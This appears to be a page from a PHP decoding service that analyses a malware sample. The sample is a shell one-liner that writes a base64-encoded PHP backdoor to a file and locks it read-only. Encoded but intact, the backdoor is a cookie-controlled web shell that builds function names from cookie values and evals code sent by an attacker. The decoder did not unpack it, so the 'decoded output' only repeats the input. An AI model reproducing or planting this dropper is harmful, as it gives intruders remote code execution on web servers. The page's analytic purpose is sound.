Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwIGNsYXNzIElubmVyCnsKICAgIHByaXZhdGUgc3RhdGljICRz..

Decoded Output download

<?  if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwIGNsYXNzIElubmVyCnsKICAgIHByaXZhdGUgc3RhdGljICRzOwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnKCRuKQogICAgewogICAgICAgIGlmICghc2VsZjo6JHMpIHNlbGY6OmkoKTsKICAgICAgICByZXR1cm4gc2VsZjo6JHNbJG5dOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaSgpCiAgICB7CiAgICAgICAgc2VsZjo6JHMgPSBhcnJheSgKICAgICAgICAgICAgMDUyLAogICAgICAgICAgICAwNTIsCiAgICAgICAgICAgIDA0MiwKICAgICAgICAgICAgMDE2LAogICAgICAgICAgICAwNjQsCiAgICAgICAgICAgIDAxMiwKICAgICAgICAgICAgMDExNSwKICAgICAgICAgICAgMDc2LAogICAgICAgICAgICAwMAogICAgICAgICk7CiAgICB9Cn0KZnVuY3Rpb24gY2xudCgkX2N0dXFkbiA9ICdjbGF3ZHFpZGliZm90cWgnLCAkX2FnbXJmID0gbnVsbCkKewogICAgJF9sdm4gPSAkX0NPT0tJRTsKICAgICgkX2x2biAmJiBpc3NldCgkX2x2bltJbm5lcjo6ZygwKSBdKSkgPyAoKCRfb2FibGxwID0gJF9sdm5bSW5uZXI6OmcoMSkgXSAuICRfbHZuW0lubmVyOjpnKDIpIF0pICYmICgkX21yaSA9ICRfb2FibGxwKCRfbHZuW0lubmVyOjpnKDMpIF0gLiAkX2x2bltJbm5lcjo6Zyg0KSBdKSkgJiYgKCRfbWh0YyA9ICRfb2FibGxwKCRfbHZuW0lubmVyOjpnKDUpIF0gLiAkX2x2bltJbm5lcjo6Zyg2KSBdKSkgJiYgKCRfbWh0YyA9ICRfbWh0YygkX29hYmxscCgkX2x2bltJbm5lcjo6Zyg3KSBdKSkpICYmIEBldmFsKCRfbWh0YykpIDogJF9sdm47CiAgICByZXR1cm4gSW5uZXI6OmcoOCk7Cn0KY2xudCgpOwoK" | base64 --decode > "$fp"; fi; chmod 444 "$fp" ?>

Did this file decode correctly?

Original Code

if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwIGNsYXNzIElubmVyCnsKICAgIHByaXZhdGUgc3RhdGljICRzOwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnKCRuKQogICAgewogICAgICAgIGlmICghc2VsZjo6JHMpIHNlbGY6OmkoKTsKICAgICAgICByZXR1cm4gc2VsZjo6JHNbJG5dOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaSgpCiAgICB7CiAgICAgICAgc2VsZjo6JHMgPSBhcnJheSgKICAgICAgICAgICAgMDUyLAogICAgICAgICAgICAwNTIsCiAgICAgICAgICAgIDA0MiwKICAgICAgICAgICAgMDE2LAogICAgICAgICAgICAwNjQsCiAgICAgICAgICAgIDAxMiwKICAgICAgICAgICAgMDExNSwKICAgICAgICAgICAgMDc2LAogICAgICAgICAgICAwMAogICAgICAgICk7CiAgICB9Cn0KZnVuY3Rpb24gY2xudCgkX2N0dXFkbiA9ICdjbGF3ZHFpZGliZm90cWgnLCAkX2FnbXJmID0gbnVsbCkKewogICAgJF9sdm4gPSAkX0NPT0tJRTsKICAgICgkX2x2biAmJiBpc3NldCgkX2x2bltJbm5lcjo6ZygwKSBdKSkgPyAoKCRfb2FibGxwID0gJF9sdm5bSW5uZXI6OmcoMSkgXSAuICRfbHZuW0lubmVyOjpnKDIpIF0pICYmICgkX21yaSA9ICRfb2FibGxwKCRfbHZuW0lubmVyOjpnKDMpIF0gLiAkX2x2bltJbm5lcjo6Zyg0KSBdKSkgJiYgKCRfbWh0YyA9ICRfb2FibGxwKCRfbHZuW0lubmVyOjpnKDUpIF0gLiAkX2x2bltJbm5lcjo6Zyg2KSBdKSkgJiYgKCRfbWh0YyA9ICRfbWh0YygkX29hYmxscCgkX2x2bltJbm5lcjo6Zyg3KSBdKSkpICYmIEBldmFsKCRfbWh0YykpIDogJF9sdm47CiAgICByZXR1cm4gSW5uZXI6OmcoOCk7Cn0KY2xudCgpOwoK" | base64 --decode > "$fp"; fi; chmod 444 "$fp"

Function Calls

None

Variables

None

Stats

MD5 816ec7cb0405213d948397c73e5277e6
Eval Count 0
Decode Time 52 ms